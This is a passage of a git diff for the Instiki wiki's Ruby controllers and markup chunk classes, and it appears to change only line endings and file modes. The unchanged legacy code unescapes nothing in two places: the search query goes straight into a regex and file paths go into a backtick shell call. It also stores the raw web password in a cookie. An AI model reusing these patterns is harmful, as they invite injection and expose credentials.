diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index b5d58422..6d37744d 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -1,71 +1,71 @@ -require 'fileutils' -require 'application' -require 'instiki_errors' - -class FileController < ApplicationController - - layout 'default' - - before_filter :check_allow_uploads - - def file - check_path - - if @params['file'] - # form supplied - file_yard.upload_file(@file_name, @params['file']) - flash[:info] = "File '#{@file_name}' successfully uploaded" - @web.refresh_pages_with_references(@file_name) - return_to_last_remembered - elsif file_yard.has_file?(@file_name) - send_file(file_yard.file_path(@file_name)) - else - logger.debug("File not found: #{file_yard.files_path}/#{@file_name}") - # go to the template, which is a file upload form - end - end - - def cancel_upload - return_to_last_remembered - end - - def pic - check_path - if @params['file'] - # form supplied - file_yard.upload_file(@file_name, @params['file']) - flash[:info] = "Image '#{@file_name}' successfully uploaded" - @web.refresh_pages_with_references(@file_name) - return_to_last_remembered - elsif file_yard.has_file?(@file_name) - send_file(file_yard.file_path(@file_name)) - else - logger.debug("Image not found: #{file_yard.files_path}/#{@file_name}") - render_action 'file' - end - end - - - protected - - def check_allow_uploads - unless @web.allow_uploads - render_text 'File uploads are blocked by the webmaster', '403 Forbidden' - return false - end - end - - - private - - def check_path - raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name - raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name - raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web - end - - def file_yard - @wiki.file_yard(@web) - end - -end +require 'fileutils' +require 'application' +require 'instiki_errors' + +class FileController < ApplicationController + + layout 'default' + + before_filter :check_allow_uploads + + def file + check_path + + if @params['file'] + # form supplied + file_yard.upload_file(@file_name, @params['file']) + flash[:info] = "File '#{@file_name}' successfully uploaded" + @web.refresh_pages_with_references(@file_name) + return_to_last_remembered + elsif file_yard.has_file?(@file_name) + send_file(file_yard.file_path(@file_name)) + else + logger.debug("File not found: #{file_yard.files_path}/#{@file_name}") + # go to the template, which is a file upload form + end + end + + def cancel_upload + return_to_last_remembered + end + + def pic + check_path + if @params['file'] + # form supplied + file_yard.upload_file(@file_name, @params['file']) + flash[:info] = "Image '#{@file_name}' successfully uploaded" + @web.refresh_pages_with_references(@file_name) + return_to_last_remembered + elsif file_yard.has_file?(@file_name) + send_file(file_yard.file_path(@file_name)) + else + logger.debug("Image not found: #{file_yard.files_path}/#{@file_name}") + render_action 'file' + end + end + + + protected + + def check_allow_uploads + unless @web.allow_uploads + render_text 'File uploads are blocked by the webmaster', '403 Forbidden' + return false + end + end + + + private + + def check_path + raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name + raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name + raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web + end + + def file_yard + @wiki.file_yard(@web) + end + +end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb old mode 100755 new mode 100644 index d3ce0f69..0e1acc07 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -1,383 +1,383 @@ -require 'application' -require 'fileutils' -require 'redcloth_for_tex' - -class WikiController < ApplicationController - - layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] - - def index - if @web_name - redirect_show 'HomePage' - elsif not @wiki.setup? - redirect_to :action => 'new_system' - elsif @wiki.webs.length == 1 - redirect_show 'HomePage', @wiki.webs.values.first.address - else - redirect_to :action => 'web_list' - end - end - - # Administrating the Instiki setup -------------------------------------------- - - def create_system - @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? - redirect_show('HomePage', @params['web_address']) - end - - def create_web - if @wiki.authenticate(@params['system_password']) - @wiki.create_web(@params['name'], @params['address']) - redirect_show('HomePage', @params['address']) - else - redirect_to :action => 'index' - end - end - - def edit_web - # to template - end - - def new_system - redirect_to(:action => 'index') if wiki.setup? - # otherwise, to template - end - - def new_web - redirect_to :action => 'index' if wiki.system['password'].nil? - # otherwise, to template - end - - - # Outside a single web -------------------------------------------------------- - - def authenticate - if password_check(@params['password']) - redirect_show('HomePage') - else - redirect_to :action => 'login' - end - end - - def login - # to template - end - - def web_list - @webs = wiki.webs.values.sort_by { |web| web.name } - end - - - # Within a single web --------------------------------------------------------- - - def authors - @authors = @web.select.authors - end - - def export_html - export_pages_as_zip('html') { |page| @page = page; render_to_string 'wiki/print' } - end - - def export_markup - export_pages_as_zip(@web.markup) { |page| page.content } - end - - def export_pdf - file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = @wiki.storage_path + file_name - - export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" - convert_tex_to_pdf "#{file_path}.tex" - send_file "#{file_path}.pdf" - end - - def export_tex - file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" - file_path = @wiki.storage_path + file_name - - export_web_to_tex(file_path) unless FileTest.exists?(file_path) - send_file file_path - end - - def feeds - # to template - end - - def list - parse_category - @pages_by_name = @pages_in_category.by_name - @page_names_that_are_wanted = @pages_in_category.wanted_pages - @pages_that_are_orphaned = @pages_in_category.orphaned_pages - end - - def recently_revised - parse_category - @pages_by_revision = @pages_in_category.by_revision - end - - def remove_orphaned_pages - if wiki.authenticate(@params['system_password']) - wiki.remove_orphaned_pages(@web_name) - redirect_to :action => 'list' - else - redirect_show 'HomePage' - end - end - - def rss_with_content - render_rss - end - - def rss_with_headlines - render_rss(hide_description = true) - end - - def search - @query = @params['query'] - @results = @web.select { |page| page.content =~ /#{@query}/i }.sort - redirect_show(@results.first.name) if @results.length == 1 - end - - def update_web - if wiki.authenticate(@params['system_password']) - wiki.update_web( - @web.address, @params['address'], @params['name'], - @params['markup'].intern, - @params['color'], @params['additional_style'], - @params['safe_mode'] ? true : false, - @params['password'].empty? ? nil : @params['password'], - @params['published'] ? true : false, - @params['brackets_only'] ? true : false, - @params['count_pages'] ? true : false, - @params['allow_uploads'] ? true : false - ) - redirect_show('HomePage', @params['address']) - else - redirect_show('HomePage') - end - end - - - # Within a single page -------------------------------------------------------- - - def cancel_edit - @page.unlock - redirect_show - end - - def edit - if @page.nil? - redirect_to :action => 'index' - elsif @page.locked?(Time.now) and not @params['break_lock'] - redirect_to :web => @web_name, :action => 'locked', :id => @page_name - else - @page.lock(Time.now, @author) - end - end - - def locked - # to template - end - - def new - # to template - end - - def pdf - page = wiki.read_page(@web_name, @page_name) - safe_page_name = @page.name.gsub(/\W/, '') - file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = @wiki.storage_path + file_name - - export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex") - # NB: this is _very_ slow - convert_tex_to_pdf("#{file_path}.tex") - send_file "#{file_path}.pdf" - end - - def print - # to template - end - - def published - if @web.published - @page = wiki.read_page(@web_name, @page_name || 'HomePage') - else - redirect_show('HomePage') - end - end - - def revision - get_page_and_revision - end - - def rollback - get_page_and_revision - end - - def save - redirect_to :action => 'index' if @page_name.nil? - cookies['author'] = @params['author'] - - begin - page = @web.pages[@page_name] - if @web.pages[@page_name] - wiki.revise_page( - @web_name, @page_name, @params['content'], Time.now, - Author.new(@params['author'], remote_ip) - ) - page.unlock - else - wiki.write_page( - @web_name, @page_name, @params['content'], Time.now, - Author.new(@params['author'], remote_ip) - ) - end - redirect_show(@page_name) - rescue Instiki::ValidationError => e - page.unlock if defined? page - flash[:error] = e - return_to_last_remembered - end - end - - def show - if @page - begin - render_action 'page' - # TODO this rescue should differentiate between errors due to rendering and errors in - # the application itself (for application errors, it's better not to rescue the error at all) - rescue => e - logger.error e - if in_a_web? - redirect_to :web => @web_name, :action => 'edit', - :action_suffix => "#{CGI.escape(@page_name)}?msg=#{CGI.escape(e.message)}" - else - raise e - end - end - else - redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) - end - end - - def tex - @tex_content = RedClothForTex.new(@page.content).to_tex - end - - - private - - def convert_tex_to_pdf(tex_path) - # TODO remove earlier PDF files with the same prefix - # TODO handle gracefully situation where pdflatex is not available - logger.info `pdflatex --interaction=nonstopmode --output-directory #{File.dirname(tex_path)} #{File.basename(tex_path)}` - end - - def export_page_to_tex(file_path) - tex - File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex')) } - end - - def export_pages_as_zip(file_type, &block) - - file_prefix = "#{@web.address}-#{file_type}-" - timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') - file_path = @wiki.storage_path + file_prefix + timestamp + '.zip' - tmp_path = "#{file_path}.tmp" - - Zip::ZipOutputStream.open(tmp_path) do |zip_out| - @web.select.by_name.each do |page| - zip_out.put_next_entry("#{page.name}.#{file_type}") - zip_out.puts(block.call(page)) - end - # add an index file, if exporting to HTML - if file_type.to_s.downcase == 'html' - zip_out.put_next_entry 'index.html' - zip_out.puts <<-EOL - - - - - - EOL - end - end - FileUtils.rm_rf(Dir[@wiki.storage_path + file_prefix + '*.zip']) - FileUtils.mv(tmp_path, file_path) - send_file file_path - end - - def export_web_to_tex(file_path) - @tex_content = table_of_contents(@web.pages['HomePage'].content.dup, render_tex_web) - File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) } - end - - def get_page_and_revision - @revision = @page.revisions[@params['rev'].to_i] - end - - def parse_category - @categories = @web.categories - @category = @params['category'] - if @categories.include?(@category) - @pages_in_category = @web.select { |page| page.in_category?(@category) } - @set_name = "category '#{@category}'" - else - @pages_in_category = PageSet.new(@web).by_name - @set_name = 'the web' - end - @category_links = @categories.map { |c| - if @category == c - %{#{c}} - else - %{#{c}} - end - } - end - - def password_check(password) - if password == @web.password - cookies['web_address'] = password - true - else - false - end - end - - def redirect_show(page_name = @page_name, web = @web_name) - redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) - end - - def remote_ip - ip = @request.remote_ip - logger.info(ip) - ip - end - - def render_rss(hide_description = false) - @pages_by_revision = @web.select.by_revision.first(15) - @hide_description = hide_description - @response.headers['Content-Type'] = 'text/xml' - render 'wiki/rss_feed' - end - - def render_tex_web - @web.select.by_name.inject({}) do |tex_web, page| - tex_web[page.name] = RedClothForTex.new(page.content).to_tex - tex_web - end - end - - def render_to_string(template_name) - add_variables_to_assigns - render template_name - @performed_render = false - @template.render_file(template_name) - end - - def truncate(text, length = 30, truncate_string = '...') - if text.length > length then text[0..(length - 3)] + truncate_string else text end - end - -end +require 'application' +require 'fileutils' +require 'redcloth_for_tex' + +class WikiController < ApplicationController + + layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] + + def index + if @web_name + redirect_show 'HomePage' + elsif not @wiki.setup? + redirect_to :action => 'new_system' + elsif @wiki.webs.length == 1 + redirect_show 'HomePage', @wiki.webs.values.first.address + else + redirect_to :action => 'web_list' + end + end + + # Administrating the Instiki setup -------------------------------------------- + + def create_system + @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? + redirect_show('HomePage', @params['web_address']) + end + + def create_web + if @wiki.authenticate(@params['system_password']) + @wiki.create_web(@params['name'], @params['address']) + redirect_show('HomePage', @params['address']) + else + redirect_to :action => 'index' + end + end + + def edit_web + # to template + end + + def new_system + redirect_to(:action => 'index') if wiki.setup? + # otherwise, to template + end + + def new_web + redirect_to :action => 'index' if wiki.system['password'].nil? + # otherwise, to template + end + + + # Outside a single web -------------------------------------------------------- + + def authenticate + if password_check(@params['password']) + redirect_show('HomePage') + else + redirect_to :action => 'login' + end + end + + def login + # to template + end + + def web_list + @webs = wiki.webs.values.sort_by { |web| web.name } + end + + + # Within a single web --------------------------------------------------------- + + def authors + @authors = @web.select.authors + end + + def export_html + export_pages_as_zip('html') { |page| @page = page; render_to_string 'wiki/print' } + end + + def export_markup + export_pages_as_zip(@web.markup) { |page| page.content } + end + + def export_pdf + file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" + file_path = @wiki.storage_path + file_name + + export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" + convert_tex_to_pdf "#{file_path}.tex" + send_file "#{file_path}.pdf" + end + + def export_tex + file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" + file_path = @wiki.storage_path + file_name + + export_web_to_tex(file_path) unless FileTest.exists?(file_path) + send_file file_path + end + + def feeds + # to template + end + + def list + parse_category + @pages_by_name = @pages_in_category.by_name + @page_names_that_are_wanted = @pages_in_category.wanted_pages + @pages_that_are_orphaned = @pages_in_category.orphaned_pages + end + + def recently_revised + parse_category + @pages_by_revision = @pages_in_category.by_revision + end + + def remove_orphaned_pages + if wiki.authenticate(@params['system_password']) + wiki.remove_orphaned_pages(@web_name) + redirect_to :action => 'list' + else + redirect_show 'HomePage' + end + end + + def rss_with_content + render_rss + end + + def rss_with_headlines + render_rss(hide_description = true) + end + + def search + @query = @params['query'] + @results = @web.select { |page| page.content =~ /#{@query}/i }.sort + redirect_show(@results.first.name) if @results.length == 1 + end + + def update_web + if wiki.authenticate(@params['system_password']) + wiki.update_web( + @web.address, @params['address'], @params['name'], + @params['markup'].intern, + @params['color'], @params['additional_style'], + @params['safe_mode'] ? true : false, + @params['password'].empty? ? nil : @params['password'], + @params['published'] ? true : false, + @params['brackets_only'] ? true : false, + @params['count_pages'] ? true : false, + @params['allow_uploads'] ? true : false + ) + redirect_show('HomePage', @params['address']) + else + redirect_show('HomePage') + end + end + + + # Within a single page -------------------------------------------------------- + + def cancel_edit + @page.unlock + redirect_show + end + + def edit + if @page.nil? + redirect_to :action => 'index' + elsif @page.locked?(Time.now) and not @params['break_lock'] + redirect_to :web => @web_name, :action => 'locked', :id => @page_name + else + @page.lock(Time.now, @author) + end + end + + def locked + # to template + end + + def new + # to template + end + + def pdf + page = wiki.read_page(@web_name, @page_name) + safe_page_name = @page.name.gsub(/\W/, '') + file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" + file_path = @wiki.storage_path + file_name + + export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex") + # NB: this is _very_ slow + convert_tex_to_pdf("#{file_path}.tex") + send_file "#{file_path}.pdf" + end + + def print + # to template + end + + def published + if @web.published + @page = wiki.read_page(@web_name, @page_name || 'HomePage') + else + redirect_show('HomePage') + end + end + + def revision + get_page_and_revision + end + + def rollback + get_page_and_revision + end + + def save + redirect_to :action => 'index' if @page_name.nil? + cookies['author'] = @params['author'] + + begin + page = @web.pages[@page_name] + if @web.pages[@page_name] + wiki.revise_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + page.unlock + else + wiki.write_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + end + redirect_show(@page_name) + rescue Instiki::ValidationError => e + page.unlock if defined? page + flash[:error] = e + return_to_last_remembered + end + end + + def show + if @page + begin + render_action 'page' + # TODO this rescue should differentiate between errors due to rendering and errors in + # the application itself (for application errors, it's better not to rescue the error at all) + rescue => e + logger.error e + if in_a_web? + redirect_to :web => @web_name, :action => 'edit', + :action_suffix => "#{CGI.escape(@page_name)}?msg=#{CGI.escape(e.message)}" + else + raise e + end + end + else + redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) + end + end + + def tex + @tex_content = RedClothForTex.new(@page.content).to_tex + end + + + private + + def convert_tex_to_pdf(tex_path) + # TODO remove earlier PDF files with the same prefix + # TODO handle gracefully situation where pdflatex is not available + logger.info `pdflatex --interaction=nonstopmode --output-directory #{File.dirname(tex_path)} #{File.basename(tex_path)}` + end + + def export_page_to_tex(file_path) + tex + File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex')) } + end + + def export_pages_as_zip(file_type, &block) + + file_prefix = "#{@web.address}-#{file_type}-" + timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') + file_path = @wiki.storage_path + file_prefix + timestamp + '.zip' + tmp_path = "#{file_path}.tmp" + + Zip::ZipOutputStream.open(tmp_path) do |zip_out| + @web.select.by_name.each do |page| + zip_out.put_next_entry("#{page.name}.#{file_type}") + zip_out.puts(block.call(page)) + end + # add an index file, if exporting to HTML + if file_type.to_s.downcase == 'html' + zip_out.put_next_entry 'index.html' + zip_out.puts <<-EOL + + + + + + EOL + end + end + FileUtils.rm_rf(Dir[@wiki.storage_path + file_prefix + '*.zip']) + FileUtils.mv(tmp_path, file_path) + send_file file_path + end + + def export_web_to_tex(file_path) + @tex_content = table_of_contents(@web.pages['HomePage'].content.dup, render_tex_web) + File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) } + end + + def get_page_and_revision + @revision = @page.revisions[@params['rev'].to_i] + end + + def parse_category + @categories = @web.categories + @category = @params['category'] + if @categories.include?(@category) + @pages_in_category = @web.select { |page| page.in_category?(@category) } + @set_name = "category '#{@category}'" + else + @pages_in_category = PageSet.new(@web).by_name + @set_name = 'the web' + end + @category_links = @categories.map { |c| + if @category == c + %{#{c}} + else + %{#{c}} + end + } + end + + def password_check(password) + if password == @web.password + cookies['web_address'] = password + true + else + false + end + end + + def redirect_show(page_name = @page_name, web = @web_name) + redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) + end + + def remote_ip + ip = @request.remote_ip + logger.info(ip) + ip + end + + def render_rss(hide_description = false) + @pages_by_revision = @web.select.by_revision.first(15) + @hide_description = hide_description + @response.headers['Content-Type'] = 'text/xml' + render 'wiki/rss_feed' + end + + def render_tex_web + @web.select.by_name.inject({}) do |tex_web, page| + tex_web[page.name] = RedClothForTex.new(page.content).to_tex + tex_web + end + end + + def render_to_string(template_name) + add_variables_to_assigns + render template_name + @performed_render = false + @template.render_file(template_name) + end + + def truncate(text, length = 30, truncate_string = '...') + if text.length > length then text[0..(length - 3)] + truncate_string else text end + end + +end diff --git a/app/models/author.rb b/app/models/author.rb old mode 100755 new mode 100644 index 289f9c9d..258cc2b8 --- a/app/models/author.rb +++ b/app/models/author.rb @@ -1,4 +1,4 @@ -class Author < String - attr_accessor :ip - def initialize(name, ip) @ip = ip; super(name) end +class Author < String + attr_accessor :ip + def initialize(name, ip) @ip = ip; super(name) end end \ No newline at end of file diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb old mode 100755 new mode 100644 index 95010d03..aa1ea7e3 --- a/app/models/chunks/category.rb +++ b/app/models/chunks/category.rb @@ -1,35 +1,35 @@ -require 'chunks/chunk' - -# The category chunk looks for "category: news" on a line by -# itself and parses the terms after the ':' as categories. -# Other classes can search for Category chunks within -# rendered content to find out what categories this page -# should be in. -# -# Category lines can be hidden using ':category: news', for example -class Category < Chunk::Abstract - def self.pattern() return /^(:)?category\s*:(.*)$/i end - - attr_reader :hidden, :list - - def initialize(match_data) - super(match_data) - @hidden = match_data[1] - @list = match_data[2].split(',').map { |c| c.strip } - end - - # If the chunk is hidden, erase the mask and return this chunk - # otherwise, surround it with a 'div' block. - def unmask(content) - return '' if hidden - - category_urls = @list.map{|category| url(category) }.join(', ') - replacement = '
category: ' + category_urls + '
' - self if content.sub!(mask(content), replacement) - end - - # TODO move presentation of page metadata to controller/view - def url(category) - %{#{category}} - end -end +require 'chunks/chunk' + +# The category chunk looks for "category: news" on a line by +# itself and parses the terms after the ':' as categories. +# Other classes can search for Category chunks within +# rendered content to find out what categories this page +# should be in. +# +# Category lines can be hidden using ':category: news', for example +class Category < Chunk::Abstract + def self.pattern() return /^(:)?category\s*:(.*)$/i end + + attr_reader :hidden, :list + + def initialize(match_data) + super(match_data) + @hidden = match_data[1] + @list = match_data[2].split(',').map { |c| c.strip } + end + + # If the chunk is hidden, erase the mask and return this chunk + # otherwise, surround it with a 'div' block. + def unmask(content) + return '' if hidden + + category_urls = @list.map{|category| url(category) }.join(', ') + replacement = '
category: ' + category_urls + '
' + self if content.sub!(mask(content), replacement) + end + + # TODO move presentation of page metadata to controller/view + def url(category) + %{#{category}} + end +end diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb old mode 100755 new mode 100644 index 82d0d7fa..98c7f142 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -1,40 +1,40 @@ -require 'digest/md5' -require 'uri/common' - -# A chunk is a pattern of text that can be protected -# and interrogated by a renderer. Each Chunk class has a -# +pattern+ that states what sort of text it matches. -# Chunks are initalized by passing in the result of a -# match by its pattern. -module Chunk - class Abstract - attr_reader :text - - def initialize(match_data) @text = match_data[0] end - - # Find all the chunks of the given type in content - # Each time the pattern is matched, create a new - # chunk for it, and replace the occurance of the chunk - # in this content with its mask. - def self.apply_to(content) - content.gsub!( self.pattern ) do |match| - new_chunk = self.new($~) - content.chunks << new_chunk - new_chunk.mask(content) - end - end - - def mask(content) - "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}chunk" - end - - def revert(content) - content.sub!( Regexp.new(mask(content)), text ) - end - - def unmask(content) - self if revert(content) - end - - end -end +require 'digest/md5' +require 'uri/common' + +# A chunk is a pattern of text that can be protected +# and interrogated by a renderer. Each Chunk class has a +# +pattern+ that states what sort of text it matches. +# Chunks are initalized by passing in the result of a +# match by its pattern. +module Chunk + class Abstract + attr_reader :text + + def initialize(match_data) @text = match_data[0] end + + # Find all the chunks of the given type in content + # Each time the pattern is matched, create a new + # chunk for it, and replace the occurance of the chunk + # in this content with its mask. + def self.apply_to(content) + content.gsub!( self.pattern ) do |match| + new_chunk = self.new($~) + content.chunks << new_chunk + new_chunk.mask(content) + end + end + + def mask(content) + "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}chunk" + end + + def revert(content) + content.sub!( Regexp.new(mask(content)), text ) + end + + def unmask(content) + self if revert(content) + end + + end +end diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb old mode 100755 new mode 100644 index 5d189d71..f125203c --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -1,38 +1,38 @@ -$: << File.dirname(__FILE__) + "../../libraries" - -require 'redcloth' -require 'bluecloth' -require 'rdocsupport' -require 'chunks/chunk' - -# The markup engines are Chunks that call the one of RedCloth, BlueCloth -# or RDoc to convert text. This markup occurs when the chunk is required -# to mask itself. -module Engines - class Textile < Chunk::Abstract - def self.pattern() /^(.*)$/m end - def mask(content) - RedCloth.new(text,content.options[:engine_opts]).to_html - end - def unmask(content) self end - end - - class Markdown < Chunk::Abstract - def self.pattern() /^(.*)$/m end - def mask(content) - BlueCloth.new(text,content.options[:engine_opts]).to_html - end - def unmask(content) self end - end - - class RDoc < Chunk::Abstract - def self.pattern() /^(.*)$/m end - def mask(content) - RDocSupport::RDocFormatter.new(text).to_html - end - def unmask(content) self end - end - - MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } -end - +$: << File.dirname(__FILE__) + "../../libraries" + +require 'redcloth' +require 'bluecloth' +require 'rdocsupport' +require 'chunks/chunk' + +# The markup engines are Chunks that call the one of RedCloth, BlueCloth +# or RDoc to convert text. This markup occurs when the chunk is required +# to mask itself. +module Engines + class Textile < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RedCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class Markdown < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + BlueCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class RDoc < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RDocSupport::RDocFormatter.new(text).to_html + end + def unmask(content) self end + end + + MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } +end + diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb old mode 100755 new mode 100644 index 7f3a9299..65459bbe --- a/app/models/chunks/include.rb +++ b/app/models/chunks/include.rb @@ -1,29 +1,29 @@ -require 'chunks/wiki' - -# Includes the contents of another page for rendering. -# The include command looks like this: "[[!include PageName]]". -# It is a WikiLink since it refers to another page (PageName) -# and the wiki content using this command must be notified -# of changes to that page. -# If the included page could not be found, a warning is displayed. -class Include < WikiChunk::WikiLink - def self.pattern() /^\[\[!include(.*)\]\]\s*$/i end - - attr_reader :page_name - - def initialize(match_data) - super(match_data) - @page_name = match_data[1].strip - end - - # This replaces the [[!include PageName]] text with - # the contents of PageName if it exists. Otherwise - # a warning is displayed. - def mask(content) - page = content.web.pages[page_name] - (page ? page.content : "Could not include #{page_name}") - end - - # Keep this chunk regardless of what happens. - def unmask(content) self end -end +require 'chunks/wiki' + +# Includes the contents of another page for rendering. +# The include command looks like this: "[[!include PageName]]". +# It is a WikiLink since it refers to another page (PageName) +# and the wiki content using this command must be notified +# of changes to that page. +# If the included page could not be found, a warning is displayed. +class Include < WikiChunk::WikiLink + def self.pattern() /^\[\[!include(.*)\]\]\s*$/i end + + attr_reader :page_name + + def initialize(match_data) + super(match_data) + @page_name = match_data[1].strip + end + + # This replaces the [[!include PageName]] text with + # the contents of PageName if it exists. Otherwise + # a warning is displayed. + def mask(content) + page = content.web.pages[page_name] + (page ? page.content : "Could not include #{page_name}") + end + + # Keep this chunk regardless of what happens. + def unmask(content) self end +end diff --git a/app/models/chunks/literal.rb b/app/models/chunks/literal.rb old mode 100755 new mode 100644 index 0df73caf..b4e36da4 --- a/app/models/chunks/literal.rb +++ b/app/models/chunks/literal.rb @@ -1,19 +1,19 @@ -require 'chunks/chunk' - -# These are basic chunks that have a pattern and can be protected. -# They are used by rendering process to prevent wiki rendering -# occuring within literal areas such as and
 blocks
-# and within HTML tags.
-module Literal
-  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
-  class Pre < Chunk::Abstract
-    PRE_BLOCKS = "a|pre|code"
-    def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE) end
-  end 
-
-  # A literal chunk that protects HTML tags from wiki rendering.
-  class Tags < Chunk::Abstract
-    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
-    def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
-  end
-end
+require 'chunks/chunk'
+
+# These are basic chunks that have a pattern and can be protected.
+# They are used by rendering process to prevent wiki rendering
+# occuring within literal areas such as  and 
 blocks
+# and within HTML tags.
+module Literal
+  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
+  class Pre < Chunk::Abstract
+    PRE_BLOCKS = "a|pre|code"
+    def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE) end
+  end 
+
+  # A literal chunk that protects HTML tags from wiki rendering.
+  class Tags < Chunk::Abstract
+    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
+    def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
+  end
+end
diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
old mode 100755
new mode 100644
index 664beb70..ec135a93
--- a/app/models/chunks/nowiki.rb
+++ b/app/models/chunks/nowiki.rb
@@ -1,31 +1,31 @@
-require 'chunks/chunk'
-
-# This chunks allows certain parts of a wiki page to be hidden from the
-# rest of the rendering pipeline. It should be run at the beginning
-# of the pipeline in `wiki_content.rb`.
-#
-# An example use of this chunk is to markup double brackets or
-# auto URI links:
-#  Here are [[double brackets]] and a URI: www.uri.org
-#
-# The contents of the chunks will not be processed by any other chunk
-# so the `www.uri.org` and the double brackets will appear verbatim.
-#
-# Author: Mark Reid 
-# Created: 8th June 2004
-class NoWiki < Chunk::Abstract
-
-  def self.pattern() Regexp.new('(.*?)') end
-
-  attr_reader :plain_text
-
-  def initialize(match_data)
-	super(match_data)
-	@plain_text = match_data[1]
-  end
-  
-  # The nowiki content is not unmasked. This means the chunk will be reverted
-  # using the plain text.
-  def unmask(content) nil end
-  def revert(content) content.sub!(mask(content), plain_text) end
-end
+require 'chunks/chunk'
+
+# This chunks allows certain parts of a wiki page to be hidden from the
+# rest of the rendering pipeline. It should be run at the beginning
+# of the pipeline in `wiki_content.rb`.
+#
+# An example use of this chunk is to markup double brackets or
+# auto URI links:
+#  Here are [[double brackets]] and a URI: www.uri.org
+#
+# The contents of the chunks will not be processed by any other chunk
+# so the `www.uri.org` and the double brackets will appear verbatim.
+#
+# Author: Mark Reid 
+# Created: 8th June 2004
+class NoWiki < Chunk::Abstract
+
+  def self.pattern() Regexp.new('(.*?)') end
+
+  attr_reader :plain_text
+
+  def initialize(match_data)
+	super(match_data)
+	@plain_text = match_data[1]
+  end
+  
+  # The nowiki content is not unmasked. This means the chunk will be reverted
+  # using the plain text.
+  def unmask(content) nil end
+  def revert(content) content.sub!(mask(content), plain_text) end
+end
diff --git a/app/models/chunks/test.rb b/app/models/chunks/test.rb
old mode 100755
new mode 100644
index 61d3c4f8..edf77d14
--- a/app/models/chunks/test.rb
+++ b/app/models/chunks/test.rb
@@ -1,18 +1,18 @@
-require 'test/unit'
-
-class ChunkTest < Test::Unit::TestCase
-
-  # Asserts a number of tests for the given type and text.
-  def match(type, test_text, expected)
-	pattern = type.pattern
-    assert_match(pattern, test_text)
-    pattern =~ test_text   # Previous assertion guarantees match
-    chunk = type.new($~)
-    
-    # Test if requested parts are correct.
-    for method_sym, value in expected do
-      assert_respond_to(chunk, method_sym)
-      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
-    end
-  end
-end
+require 'test/unit'
+
+class ChunkTest < Test::Unit::TestCase
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
